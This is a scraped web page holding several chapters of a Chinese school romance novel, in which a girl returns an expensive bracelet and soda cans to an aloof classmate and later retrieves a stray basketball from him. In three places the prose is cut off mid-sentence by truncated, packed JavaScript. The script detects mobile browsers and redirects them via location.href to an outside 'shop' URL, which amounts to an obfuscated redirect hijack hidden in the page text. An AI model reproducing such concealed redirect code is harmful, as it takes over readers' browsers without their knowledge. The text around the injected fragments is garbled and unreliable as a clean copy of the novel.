程敬宇脑子有片刻卡壳。 “等会,她暗恋你,你为什么要送她礼物?” 不应该她给你送吗? 然而这个问题似乎把他问住了,贺行雪眉峰微皱,心底茫然一片,半晌也没想出个所以然,于是他干脆忽略掉这个问题,接着自己的往下说:“但是我不知道怎么开口。” 很多事情的答案就藏在人的言行举止中,程敬宇看着贺行雪由于烦闷拧起的眉,刚才卡壳的脑子在某个瞬间转过弯来,他瞪大双眼,霎感灵台清明。 “我懂了。” 程敬宇高深莫测道。 贺行雪微疑:“你懂什么了?” “这个你别管,”程敬宇避而不答,开始兴致勃勃地出谋划策,“我跟你说啊,送礼物的时候,你只用注视着她,不用说太多话,好好维持住高岭之花的形象,她绝对会很欣喜地收下礼物的。” 贺行雪不动声色,眼神半信半疑地看着他。 他回以神秘一笑:“信我的,这对别人来说可能很难,但对你来说绝对不能再简单了。” 就凭这张脸,真没几个人能抵挡得住。 * 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995085|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >晚自习结束的铃声响起时,天幕早已黯淡下来,走读生稀稀寥寥地踏出校门。舒禾依旧在教室里多做了一会作业,出来得稍晚,落在人群的末尾。 这周的周考成绩突破了以往所有,她第一次进到班级前三十名,特别是数学,从刚开始的不及格,到这次居然能考到120,刘老师为此还特意在班上表扬了她。 这次分数实在超乎她的意料,舒禾心里忍不住的雀跃,迫不及待想回家把这个好消息告诉爸妈。 她唇角微微翘起来,脚步比往常都要快。 校门外,前方熟悉的路灯下伫立着一个人影。 夜幕点缀着几点金元宝似的莹亮,在天边时隐时现地闪烁,它们拱卫着一轮皎洁弯月,周身散发朦胧柔和的清辉,贺行雪站在路灯和月光的映照中,眉骨和鼻梁处洒落淡淡阴影,他的皮肤泛起玉样白皙通透的色泽,是一种超乎常人的俊美。 舒禾下意识地放轻了走路声。 他薄薄的眼皮半睁着,眼睛很久也不眨动一下,不知道在看着哪里出神。 她分明已经把脚步放得很轻了,可仍是被他精确地捕捉到,男生微微侧脸看过来。 舒禾能察觉到他目光聚焦在自己身上,心头极快地划过一丝异样感,一闪即逝,她没怎么在意,提了提往下滑的书包带子,由着这条回家的必经之路往前走。 途经他的身边,因为是认识的人,舒禾犹豫一下,还是礼貌性打了招呼。 她微微偏头:“你怎么在这里发呆?” 贺行雪的眼睫垂下来,认真地说:“我在赏月。” 自从上次他说他家附近在修路,这几天回家他们便总能隔三差五地碰见,舒禾见怪不怪了,闻言抬眼往天上看,那轮淡色的月影遥遥迢迢,在万物之间布散溶溶的光辉,他们二人也笼罩在这层霜华似的泠泠月光下。 “真好看啊,你平时很喜欢赏月吗?” 舒禾轻仰着脑袋感叹着,黑润的杏眼里倒映着这轮月亮,贺行雪垂眸看着她,隔了会,也循着她的目光望向夜幕中。 “以前喜欢。”他说。 “以前?”夜风徐徐,舒禾收回视线,眨了眨干涩的眼睛,转而好奇地看向身旁男生,“是你在国外的时候吗?” 她抬步慢慢地往前走。 贺行雪很自觉地跟了上去。 他眼巴巴地望着女生的背影:“你怎么知道我在国外待过?” 舒禾说:“我看了你的闲鱼主页啊,不是发布了一条伦敦转租的链接嘛。” 她说得极其自然,语气里没有什么扭捏。 原来不止他在关注她的闲鱼主页,她也有偷偷地翻看过他的。意识到这点的时候,贺行雪的唇角不自觉地扬起来,望着她背影的眼神比星星还要晶亮。 他完全没想过他空荡的主页只要点进来就会一览无余,根本用不着翻。 贺行雪仍是心情很好地翘着嘴角,垂下脑袋注视地面的影子。 两道影子斜斜地落在后方,中间隔了一小段距离,而这段距离此时正在逐渐缩短,直到他伸臂就能轻易触碰。 他也确实伸出去了。 伸出手时一开始他还不知道往哪里放,就近落在她脸颊的位置,贺行雪偏头注视着两道影子,手指轻轻做出一个抓握的动作,像在揪脸蛋一样。 他想,荷包蛋的脸颊一定是软乎乎的。 舒禾走在前面注意不到他在做什么,贺行雪饶有兴致地揪了揪她影子的腮颊,又寻着方向摸了摸她脑后扎起来的小啾,虽然没触碰过实物,但他凭直觉判断这一定很顺滑好摸。 贺行雪双眸都心满意足地微眯起来,他抬头觑一眼前方的女生,见她没有看过来的趋势,又放心大胆地在影子的脑袋上揉了几下。 然后不知怎么的,手渐渐往下滑,努力地往前探,冷白修长的手指在某个位置轻轻收拢。 ——他牵住了她的手。 贺行雪的心脏陡然跳得又重又快。 或许这就是做贼心虚吧。他想。 “你怎么不说话了?” 走在前方的舒禾毫无征兆地回头。 贺行雪吓得一激灵,手忙脚乱地摆出一个走路的姿势,声音含含糊糊:“什、什么。” 舒禾直接停下来了,意味不明地盯着他的动作。 贺行雪的身体在她的视线中愈发僵硬,脊骨莫名其妙地渗出一点冷汗,他故作寻常地匀速往前走了两步,忽然听到舒禾疑惑的语气。 “你走路怎么同手同脚啊。”她脑袋微微一歪,眼含笑意。 25. 第 25 章 贺行雪动作微滞,差点儿要落荒而逃,还好及时按耐住了。他喉结滚动几下,慌张地躲开她的视线,虽然忍住了没至于直接逃开,但他长腿迈动的速度越来越快,片刻之间直接走到了舒禾前面去。 舒禾见他不说话,只是闷头往前走,不由讷讷地摸了下自己的脸颊,跟在他后面小声猜测道:“你生气了吗?我、我没有嘲笑你的意思,就是……顺口说出来了。” 贺行雪没有停下。 因为刚才胡乱做出的动作,他心里有点郁闷,还隐隐有点别扭,耳根子也奇怪地发烫。 听到身后舒禾小声的道歉,他张了张唇却不知道如何作答,总不能和她解释他刚才干的混账事吧……瞥见路口的红绿灯亮了起来,贺行雪一直提着的气总算松懈下来,他趁此机会转过头,故作镇定地微抬下颌朝她示意:“我看到马上绿灯了,所以走快了一点。” 舒禾打眼望过去,顿时抛掉了刚才的猜测,点了点头,赶紧跟着加快脚步,甚至还一股脑冲到了他前面去。 见此,贺行雪缓缓松了口气,不自然地捏了下滚烫的耳朵,心如乱麻一般,抬脚朝她追去。 跨过马路,拐进居民巷。 这段时间他每天都要从这条小巷绕路回家,不过并不是每次都会站在校门外干等,当然,他心底也并不认为自己是在等谁,就如他所说的,月色很美,他不过是停留在路上赏月而已。 偶尔几天他会自己独自缓慢地走过这条路,这条街巷林立的店铺都一一映入过他眼帘。 有次发现一家理发店,他不经意地往里张望过,发现这只是一对年轻情侣开的,便索然无味地离开了。 夜灯莹莹,路过一扇玻璃橱窗,贺行雪脚步忽顿。 舒禾跟在后面猝不及防,差点撞在他身上,好在她及时止住了,抬头莫名地看向他。 贺行雪侧过身面对着这面橱窗,黑夜里灯火倒映,连带着他和身旁女生一高一矮的影子也一并框进了这里。他的余光总忍不住往旁边瞟,意识到此时,又生生克制住,视线往回收,他注视着橱窗里自己模糊的面容,手指在头发上挑拈,漫不经心地说了句。 “我头发好像有点长了。” 话音很轻,仿佛自言自语,但在阒寂的夜里足够让别人听到。 他说完心跳得有些过速,和舒禾待在一起时总是这样的,他都快习惯这样了。 舒禾闻声将目光落在他头发上。 贺行雪的发型应该是属于三七分,他前额松散地撂下几绺发丝,垂在英挺的眉眼之间,头发乌黑蓬松,被路灯映出暖色的光圈。 她视线转了一圈收回来,点点头:“确实有些长了,可以稍微修剪一下。” 贺行雪纤长的睫毛半搭下来,他没吭声,视线藏在眼睫后小心地窥着舒禾,舒禾自若地回望过去,因为男生没说话而略有疑惑地歪了歪头。 忖度片刻后,她道:“你有熟悉的理发店吗?” 贺行雪毫不犹豫地说:“没有。” 他一直看着舒禾,眼瞳乌润润的,如雾拢清潭。 舒禾偏开目光,伸手给他指了个方向:“那有一家新开的店,是年轻人开的,我也没去过,不过听邻居家的哥哥说剪得还挺好的。” 气氛沉默了须臾。 有股莫名的难受充胀在心口,贺行雪说不出来那是什么,可能是他的期待没有得到满足,也可能是她的某句话戳中了他不为人知的嫉妒心。 抑或是二者皆有。 他心焦意乱地皱起眉毛,很想用手摁住胸膛处,用蛮力把这股奇怪情绪湮灭掉。 贺行雪心底知道是哪家店,一点也不想挪开视线去看,但因为舒禾刚才在给他指路,他只好顺着那只柔软漂亮的手指的方向望过去,然后像完成任务一般,只看一眼就飞快地收回来了。 他的视线再度落到舒禾身上,舒禾也抬眼看着他。 男生唇角慢慢往下撇,神色看上去竟有些委屈,声音也小得几近嘀咕:“我不喜欢那家店。” “啊,你去过了吗?”舒禾没多想,为难地挠脑袋,“那别的我就不太知道了,我都是在自己家剪的,对其他理发店不太熟悉。” 贺行雪眼睛一眨不眨地看着她,仿佛在等她多说些什么,但舒禾没能理解他的意思,以为话题就此结束,顿了几秒,便继续向前走了。 她转身的动作带起一阵夜风,这冷清的风好像把他的五脏六腑刮走了,身体里出现一种空落落的烦闷。 他茫然睁大眼睛,不知所措地望着前方那道背影,缓慢眨动了一下睫毛,眨动了两下睫毛,然而视野里的人越走越远,似乎根本没发现他跟丢了。 “……” 贺行雪抿着唇瓣,闷头不声不响地跟了过去。 舒禾往前走出一段,忽然发觉身后安静得连脚步都没有,不由奇怪地发出一声疑惑。 “欸?” 然而等她回过头去寻时,男生依旧还落在后面,只是看上去很有些无精打采。 特别像一只耷着眉毛趴着耳朵的可怜小狗。 舒禾愣愣地看着,还没等她脑子转过弯,接收到视线的小狗耳朵顿时立了起来,神采也有了些活气,乌润湿漉的眸子眨巴眨巴地盯着她看。 贺行雪仿佛被她的视线鼓舞,忽然几步追到她身边。 他低眸认真看着舒禾,近乎一鼓作气地说。 “我也想去。” “什么?”舒禾仰头,不解。 “……我想去你家的店里剪头发。” 他说完,又像怕被拒绝似的,别过了眼睛。 舒禾望着他颤动的浓长睫毛,漆暗的颜色与他冷白的皮肤对比强烈,她迟疑地开口:“可是我爸妈剪得真的不太好看欸。” 贺行雪顿然转头很急促地接了一句:“剪成什么样都可以。” 对上女孩子雾润的双眼,他后知后觉这番话说得奇怪,不由又心虚地移开目光,喉结极快地滚动两下。 半晌干巴巴地打了个补丁:“反正、我也不在意发型的。” 舒禾盯视他层次分明的头发,这一看就是手法娴熟的专业人员操理的,她想拒绝一时却找不到合理的理由,最后只能讷讷地点头。 “那,你想来的时候联系我。” 她说得犹犹豫豫,主要还是怕爸妈给他剪毁了,所以连个地址也没给,抱着一种侥幸心理,想着说不定过几天他就改变主意了。 贺行雪听到这话,像被一种从天而降的惊喜砸中了,大脑嗡嗡地空白一瞬,迅疾的心跳把胸口撞得微微发麻。 他晕头晕脑地转过脸,黑眼仁里绽出比星月还要明亮的光彩,舒禾和他对视的时候,如同望进了另一片极美的夜空。 贺行雪想说我还没有你的微信。 但舒禾抢在他之前先开口了。 她还记得男生不爱加旁人联系方式,于是温温柔柔善解人意地说:“闲鱼给我发消息就好啦。” 仿若凭空一击重锤,贺行雪高涨的情绪霎时被凿得稀碎。他愣在原地,嘴唇微颤想说些什么,但是又茫然得不知道要说什么。 他只是觉得有些奇怪,她怎么和以前不一样了。 明明她以前……还会找借口要他联系方式的。 贺行雪苍白的指尖蜷缩起来。 自从回到学校,无论是在教室还是在路上,每天总会有一两个其他班的同学,或直白或委婉地表示想加好友,他一个也没加,而且拒绝得很直白,直接杜绝了一些人潜藏的侥幸心理。 但如果是舒禾……贺行雪毫无意识地在发散思维,他一定会同意的,他会像翻看她闲鱼动态一样窥探她的朋友圈,那里是不是有她学习之外的生活?那是什么样的? 鲜活的、生动的…… 他能不能也参与进去?她口中的邻居哥哥也会出现吗? “那我先回家啦。” 不知道什么时候,他们已经走到舒禾的小区门口。 贺行雪像个从梦中惊醒的人,方才心里碾转的念头如同梦境一样,竟完全记不起来了。 他眼睛里只装得进舒禾的脸,忽然想起今天的事情还没完成。 “等等。” 空气里依然弥漫着熟悉的食物腐烂的气味,舒禾尽量把呼吸放到最慢,转头疑惑地看着他动作。 贺行雪已经顾不得萦绕鼻尖的臭味,他慌里慌张取下挂在左肩的书包,来时程敬宇言辞烘托出来的自信已然消失,他心里虚浮着没有底,从书包里拿出一个礼盒似的东西,三步并作两步上前塞进舒禾手里。 舒禾发愣:“这是什么?” “给你的。” 他脸上没表情时,整个人就显得冷酷锋锐。 然而心跳快得让他有些缺氧,贺行雪微微敛下眼睫,趁她还未反应过来,语气颇为生硬仓促地说了句“我回家了”。 舒禾抬头的时候,只望见男生僵直的背影,跌跌撞撞走进了夜深处。 * 回到家,电视机里正在重播新闻,陈燕梅躺在沙发上刷手机,范兴文则坐在饭桌旁拿了张报纸看。 陈燕梅问她饿不饿,要不要吃点夜宵,舒禾摇摇头,母女俩又照旧聊了几句学习情况,她便借口要写作业先回房间了。 坐到书桌前,把贺行雪刚才塞给她的礼盒打开,里面是一条流光溢彩的手链,造型精致独特,四叶草的形状,黑白熊猫配色,很漂亮的款式,而且一看就价格不菲。 舒禾愣住了,先是觉得有些眼熟,似乎在广告上还是哪里有看到过,她拿起手机,输入盒子上的英文名搜索。 页面一出来,她整个人都懵掉了。 手链价格都快赶上当初陈女士买下这套房子的钱了!! 舒禾霎时间大惊失色,盒子变得烫手起来,她赶紧把盖子重新放上去,第一反应贺行雪肯定拿错东西了,旋即又觉得他不太可能犯这样蠢的事。 可他给她干什么? 思来想去,越来越觉得迷惑,但舒禾心底清楚这东西一定得还回去,简直跟烫手山芋一样,不,应该是烫手的金元宝。 她深吸一口气,尽量原封不动地把礼盒放进书包,状态还是懵然的,发呆片刻,她连带着将两罐没喝的橘子汽水也一起放了进去。 第二天晚自习结束,舒禾一反常态地提前两分钟就收拾好东西,下课铃一响,她立刻起身,在秦嘉文诧异的视线下快速离开教室。 这个时间点陆陆续续有走读生出来,她生怕错过贺行雪,一口气跑到学校门口,停在一棵银杏树下调整着呼吸,不断往校门张望。 好在走读生不算太多,舒禾得以一张张仔细辨认着脸,确保不会漏掉任何一个同学,书包放在身前紧紧抱着。 但很快她就发现根本不用这么费劲。 男生得天独厚的高挑身形十分显眼,校服穿在他的身上也显得格外挺括,他半垂着眼睫神情松散地走出来,几乎是在人群里出现的一瞬间,舒禾目光就自动锁定在他身上。 她踮脚伸出手臂左右摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002474|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,试图吸引他的视线。 男生似乎有所察觉,正掀眼望过来时,一个女生忽然出现,挡在了他身前。舒禾的视角只能看见他的脸,但他的方向看不见舒禾。 她只好先收回手等待。 “贺、贺同学……”女生紧张地结结巴巴,怀里揣了张粉色信封,红着脸颤着手递给他,“我是高二一班的陈秋玥,能不能……” 即使他们站的位置还算偏僻,但贺行雪这个人实在太吸引眼球,就像舒禾能一眼看见他一样,其他同学的视线也忍不住往这边瞟,见此一幕,他们既佩服女同学的勇气可嘉,也强烈地想要探知贺行雪的反应。 开学以来,高中部但凡消息灵通的,都知道国际部转来了一个长得十分牛逼的帅哥。只可惜帅哥社交可堪孤僻,常来往的几乎只有三个人。 舒禾并不是个八卦的人,但为了尽快把那个烫手山芋还回去,她只能和大家一样,眼巴巴地望着那边。 顶着众多目光,女生越来越紧张,也不敢和他对视,低头忐忑盯着地面。她心里后悔选在这时候,万一众目睽睽之下情书被拒收了,那也太丢人了。 几秒的时间,仿佛煎熬了许久。 忽然手中一松,是贺行雪把情书接了过去。 喜悦一瞬间把心脏淹没,她惊喜地抬起眼,却只对上男生没什么情绪的视线。 他将信封夹在修长冷白的两指之间,算是给女生保留了脸面。但神色淡得几近有些厌倦,他用只有两人能听见的声音说:“我没有广交朋友的爱好,麻烦不要再来打扰我。” 说完,也没管她骤然苍白的脸,贺行雪低头瞥了眼手环上的时间,估摸着那傻蛋差不多该出来了,抬腿就准备往“赏月”的地方走。 那里似乎成了他们隐秘的、约定俗成的地方。 然而没等迈出一步,失去阻挡之后,他的眼睛快过大脑,精准捕捉到了站在树下的女生。 舒禾在对他招手。 舒禾从没有主动找过他,以至于贺行雪现在以为自己在做梦,心脏微微塌陷下去一块,脑袋也晕晕乎乎,但躯体仿佛有本能似的,毫不犹豫地调转方向往她身边走。 月光柔和地洒落下来,树叶的碎影在她面颊轻晃,舒禾低头从书包里拿出一个东西,贺行雪完全没注意,屁颠颠地几乎是跑到她面前。 在某一个瞬间,他忽然意识到手里还拿着别人给的情书,顿时心虚得想要反手藏在背后。 但这样太过欲盖弥彰,他都没来得及思考自己为什么会觉得心虚,张口就先撇清关系:“我不认识她。” “嗯?” 舒禾纳闷,不过对此并不感兴趣,她把手里的盒子递过去:“这个还给你。” 贺行雪的视线从她脸上往下落,看清那个熟悉的礼盒时浑身一僵。 “什么意思,”他喉咙干涩,艰难地吞咽一下,“你……你生气了吗?” 贺行雪以为是刚才的场景令她误会,略微忐忑地觑着舒禾脸色,正欲解释自己完全不认识那个人,舒禾却先一步动作。 像昨晚他强行将礼物塞给她一样,现在她如法炮制地还了回来。 “我不知道你是拿错了还是什么,但这个东西太贵重了,我肯定不能收。”她的神情十分认真,语气依旧是婉转柔和的,贺行雪却觉得仿佛有把软刀子在他胸口生刮。 他睫毛垂下去,看着手里被退回来的礼物发愣。 而下一秒,舒禾又递来两个东西,柑橘的鲜艳颜色。 “这是之前你给我的两罐汽水,我不太喜欢喝,扔了太浪费,就一起还给你吧,不过还是很谢谢你。” 忽地咔嚓一声。 好像有什么东西在心里打碎,尖锐的裂口扎进他脆弱的皮肉里,从肺腑一路疼到了喉口。贺行雪死死地盯着那两罐汽水,喉结不住地滚动,险些要不会说话了。 “……你不喜欢喝?” 所以,不是不舍得,而是不喜欢。 那他呢?她真的喜欢他吗?还是…… 贺行雪第一次对这件事产生了怀疑,眼尾漫开淡淡薄红。 他没敢开口问,竭力控制住自己的思维,似乎只要不去想,所有的事情就还如同往常一般。 “我不喜欢。”舒禾说。 她看一眼时间,今天的作业还没写完,得快点走了:“我要回家了,你要一起走吗?” 这段时间他们似乎都习惯于同行一段路了,但这却源于他撒下的一个拙劣的谎言。 贺行雪发现自己有些说不出话来,也不敢抬头对视,怕情绪生生暴露在眼底。 他垂着眼睛,只能僵硬地摇头。 舒禾便说了句“好吧”,说完准备先走的,但面前男生垂眉耷眼,神情看上去也很不对劲,遂迟疑地多问了一句:“……你还好吗?” 贺行雪喉咙微哽,慢慢点头。 舒禾没多想,当他是被退回礼物不高兴,不情愿搭理自己,于是就先告别离开了。 她转身走后,贺行雪才抬起眼,望着她的背影渐渐消失。 排山倒海的情绪一齐涌来,在他狭窄的胸腔里横冲直撞,遍寻不到出口。贺行雪抱着一堆被退回来的东西,浑身闷闷地发疼,喉咙里像压了一块石头一样,连呼吸都变得费劲。 校门口的学生已经走完了,周边寂静的一点声音都没有。月影婆娑,偶尔有车辆驶过,剧烈的远光灯刺得他眼泪差点流下来。 半晌,他倚着树干蹲了下去,委委屈屈地蜷成一个球。 26. 第 26 章 大课间,周兰芝叫她到办公室抱卷子。 明天就要放国庆,各班各科老师都叫了自己的课代表来布置作业,办公室里人流如织,试卷高摞,令人望而生畏。 任姝宁属班级闲散人员,为了躲避大课间跑操,她自告奋勇和舒禾一起分担作业的重量。 “我已经预感到了收假那天。”任姝宁掂了掂手里的卷子和新发的习题册,沉甸甸的重量让她欲哭无泪,“阿禾,我的作业要靠你了。” 舒禾同样抱着作业,也有些无奈。 大课间过后九班是体育课,因此教室里没有人。她们哼哧哼哧地把作业挪回班里,挨个儿给每个同学发到座位上,才慢慢吞吞地走去操场。 “躲得了大课间,躲不了体育课啊……”任姝宁双手抱头在路上仰天嚎了一声。 舒禾笑着捏了下她的手:“少跑两圈已经很不错了。” “唉。”任姝宁沉沉叹气,望着电线杆上的鸟雀,“为什么人不能长出翅膀啊。” 电线杆的小鸟像曾经被人吓过似的,对视线非常敏感,啾啾啾地扑着翅膀飞走了。任姝宁顿时有种万事不顺的烦闷,摇着舒禾的手臂鬼哭狼嚎。 舒禾只好边给她顺毛,边连拉带扯地拖着她走到操场。 今天体育课教打篮球,两人一组,从运球开始学起。 体育老师说出这个消息的时候,班里明显分成了泾渭分明的两波,除却少部分本身爱打篮球的,大部分人都愁得长吁短叹,小声发出抗议。 但体育老师对这个场面视而不见,简直铁面无私。 舒禾和任姝宁站在队伍里偷偷对视一眼,都从对方眼里看出了愁苦的意味,这下好了,自由活动的时间也没有了。 两个男生从器材室搬来重重的篮球框,每组派一个人上去领球,体育老师便在前方开始示范教学。 其实看上去还是挺简单的,拿手拍球嘛谁不会,舒禾默默观察着动作,但是对于她这样从没接触过篮球的小白来说,拍着拍着一个不对,篮球就很容易脱离控制溜走了。 于是操场上多了许多奔来跑去捡球的狼狈身影。 在来来回回跑了数十次之后,舒禾自觉找到了些许技巧,球在手中控制得非常灵活,至少原地拍打已经没有问题,所以她小心翼翼尝试着运球走了两步—— 球飞了。 以极快的速度滚了出去。 舒禾懵了一下,赶紧撵在后面追。 篮球骨碌骨碌滚得十分卖力,可望不可及,她累得气喘吁吁,每次弯腰去捡它就在手边溜走,舒禾从操场中心的假草坪处一直追到跑道边缘,竟一直没追上。 而不远处,运动场边上的银杏树枝叶迎风招展,下方围坐着十几位同学,有一个金发碧眼的络腮胡外教在比划着手势讲课。 篮球的速度终于缓缓减弱,慢吞吞地滚往这个户外课堂中,舒禾却下意识停住脚步,无能为力地眼睁睁注视球滚过去,内心微微崩溃。 如果要过去捡球,那样势必会打断别人的课堂,然后众多目光聚焦在身上,她实在不好意思,但又不能直接不管,这个篮球还得还回器材室的。 一时之间她进也不是退也不是,陷入了两难境地。 尚未做好决定,舒禾眼巴巴地跟着篮球挪动视线,直至余光里忽然出现一个熟悉的人影,她微微一愣。 是那个有好些天没再见到过的人。 自从那天晚上将礼物还给他之后,不知道是不是巧合,以往隔三差五就能在校外偶遇的男生,这次连续好多天都没再出现。 舒禾虽然没怎么在意,但偶尔走路脑袋放空的时候,也会冷不丁冒出一个“他是不是生气了”的念头。 不过这念头毫无根据,毕竟他们本身也算不上多熟,相遇全凭运气。为避免自作多情,她从来没当真细想过,放任它在脑海里转瞬即逝。 篮球不偏不倚地滚向他脚边。 这个人显然没在认真听课,坐姿放纵懒散,正偏头盯着那篮球看。 九月末并不灼人的阳光镀在他冷白的皮肤上,细腻的底色流淌着微光,如同在玉器上敷一层薄薄的金粉。舒禾停在不远处,第一次觉得“流光溢彩”这个词用在人身上,是一个如此具象化的表达。 但眼下比起欣赏,她更多的是劫后余生,因为男生正好坐在边缘,可以毫不引人注目地将球给她踢回来。 趁其他同学都在认真和老师交流互动,她停在原地悄悄给他做小动作,想叫他动一动尊贵的脚。 然而不知怎么的,明明他偏着头,余光可以很轻易地注意到她这边,但他就是不抬眼,垂眸直直地盯着篮球看。 舒禾手都举累了,终于不得不面对现实地放弃这个方法。 她闭了闭眼,花了一两分钟做心理建设,就准备自己走过去捡球。 刚迈出去一步,男生倏然撩起了眼皮,那双窄长乌暗的眼睛正对她的方向。 贺行雪看到了她,表情却没什么变化,双眼似一片静止的湖面,没等舒禾高兴地继续示意,他就如同看到陌生人一样平淡地移开视线。 这次连篮球也不盯了,他不声不响地转过头,面向正眉飞色舞讲课的外教,只留一个黑乎乎的蓬松后脑勺给她。 舒禾有些呆住。 男生冷淡的反应与想象中大相径庭,这让她不由自主地开始回忆起,之前无数次被自己忽略掉的某个想法。 ——他该不会真的生气了吧……? 因为被她退回去的那条手链? 对于那条手链,其实舒禾一直没怎么想明白贺行雪为什么给她,她自认与他就只是个不远不近的校友关系,何至于送出那么贵重的东西?动机又是什么? 当时直到最后也没想通,她干脆不想了,没有多花费时间去思虑这事,珍贵的时间还是付出在学习上比较好。 因着男生毫不理睬的态度,舒禾已经不抱希望他能配合把球踢回来,而且由于在这边耽误了许久,九班好几个相熟的同学注意到她不在,三三两两把目光遥遥投了过来。 特别是任姝宁,舒禾都能察觉到她蠢蠢欲动想来一探究竟的好奇心,她在心里轻轻叹了口气,果然求人不如求己,她还是自己去捡吧。 舒禾硬着头皮走过去。 没走出一段距离,在和学生互动的外教似乎注意到她,歪头看了过来,好巧不巧这时贺行雪举了下手,她看不见他的表情,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015716|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看见外教应允似的点了点头,因为距离稍微近了,她还听见外教口中说了句什么“basketball”。 紧接着男生随手将腿边篮球一捞,舒禾如有预感般,心里重重一个咯噔,就看到他带领着全班同学的目光,起身不紧不慢地朝她走了过来。 舒禾头皮都麻了。 强行控制住双腿定在原地,才没有转身逃掉,迎着许许多多神采各异的脸。 她迫使自己忽略其他人,将目光一瞬不瞬地停留在贺行雪的脸上。男生背着光走来,垂着眼没有表情。 半途中仿佛嫌走路枯燥似的,随意将篮球在他指尖上转了个圈,而后精准落回掌中。 他走到她面前。 贺行雪长得很高,虽然看着清瘦却不过分瘦削,是那种肩宽腰窄的类型,他站在她面前的时候,颀长的身形能挡掉大部分阳光。 舒禾呆呆地仰面看他,心里还在不断后悔,早知这样还不如一开始就直接过去呢——她僵硬地承受着众多视线,根本没发现男生伸手将球递了过来。 贺行雪也不说话,就站在面前静静地垂眸看她。 她一动不动,他的手臂也没有收回去,维持着递球的动作,纤浓的睫毛耷拉下来。持续了不知多久,那条冷白劲瘦的手臂竟稳稳当当地没有一丝颤抖。 须臾,清冽微涩的苦橘香味扑面而来,仿佛将脸埋进了清晨犹带露水的橙花之中,花瓣柔软而香气馥郁。舒禾懵懵然地,手腕忽而一热,她顿时回神惊得瞪大了眼睛。 贺行雪猝然握住她的手腕,将她的手臂抬起来,像控制一只洋娃娃一样,把篮球塞进这只松散无力的手心里。 他平静地看着她,距离极近,滚烫的掌心还牢牢包裹在她的手腕上,灼热的温度仿佛穿透皮肤融进她的血液里,流淌至浑身各处。 舒禾的皮肤被烫红似的泛起薄薄粉意,她睁着眼睛大脑空白了好久,在某个瞬间忽然反应过来,如同突然活过来的洋娃娃,自行拿稳了手中的篮球。 她低下头去看着脚尖,心脏简直要蹦出来。 男生顺势松开了她。 但那股温度还停留在她的手腕,舒禾用另一只手覆在上面用力揉了几下,企图把这扰人的温度消灭,没几秒,余光里那双修长笔直的裤腿忽然消失——贺行雪把球塞给她之后,居然就一声不吭地直接走了。 舒禾不由更肯定了刚才在心底的猜测。 她犹犹豫豫地抬起头,看着男生往班里走的背影,大脑经过一番剧烈挣扎,蓦地脱口叫住了他:“贺行雪……” 本是下意识的行为,舒禾的声音很小,小得甚至可以用微弱来形容,但一出口,贺行雪竟就真的停住了。 他站在两三米外的地方,没有转身,像是在等她说什么,然而舒禾倏忽意识到身边投来的许多目光,于是尴尬地止住了嘴,这种事情还是私下解决比较妥当。 她短暂纠结了几秒,望着他,底气不足地小声道:“没、没事了,你快回去上课吧。” 朦朦融融的阳光下。 她说完这句话,男生的背影微不可察地一僵,而后身体每一处都仿佛透出气愤,像只浑身炸毛的小动物,气咻咻地跑走了。 27. 第 27 章 兴许天生缺少一点运动上的天赋,直到体育课结束舒禾也没能学会运球,倒是有好几个女生竟然显得游刃有余了,其中一个就是任姝宁的同桌,赵方仪。 回班的路上,这两人凑到一边脑袋挨脑袋嘀嘀咕咕,舒禾起初没在意,还以为她们在交流打篮球心得。 直到她某次抬头,乍然和鬼鬼祟祟偷瞥她的任姝宁撞上视线——舒禾太熟悉任姝宁了,只用一秒就明白过来她们肯定又是在八卦,而且八卦的中心人物之一一定是她。 那么另一个人毫无疑问就是刚才有过互动的贺行雪了。 任姝宁被发现也不慌张,张牙舞爪地冲她做了个鬼脸,然后又低下头去和赵方仪继续探讨。舒禾有些无奈,但也不好主动凑过去解释什么,毕竟别人也没捅到自己跟前来,她只好装作不知地任由这两人大开脑洞。 国庆前的最后一节课,大家都十分躁动,趁老师还没来,叽叽呱呱地讨论要去哪里旅游。 班里一时闹哄哄的,但舒禾即使在噪音中也不受影响,依然低头专心地写题,连秦嘉文都忍不住频频看她。 “你太有毅力了吧。”他感叹了一句。 舒禾想说“笨鸟先飞”,旋即又觉得不对,这和直接承认自己笨有什么区别?她坚决不承认这点,于是满脸认真地点头:“是的!” 这一声把秦嘉文逗笑了,他转过头去忍了一会,又一本正经地转回来,问道:“假期还要继续来书店学习吗?” 舒禾有些为难地撑了撑下巴:“假期我得去家里的店帮帮忙,应该是没时间来了。” 秦嘉文不清楚她家的情况,也不便于过多探听,闻言只能遗憾地说了句“好吧”。 舒禾继续接着刚才的题写,笔尖与纸页的窸窣声完全被周围的吵闹淹没,她慢吞吞地写出一个公式,脑子里想的却是另一件事。 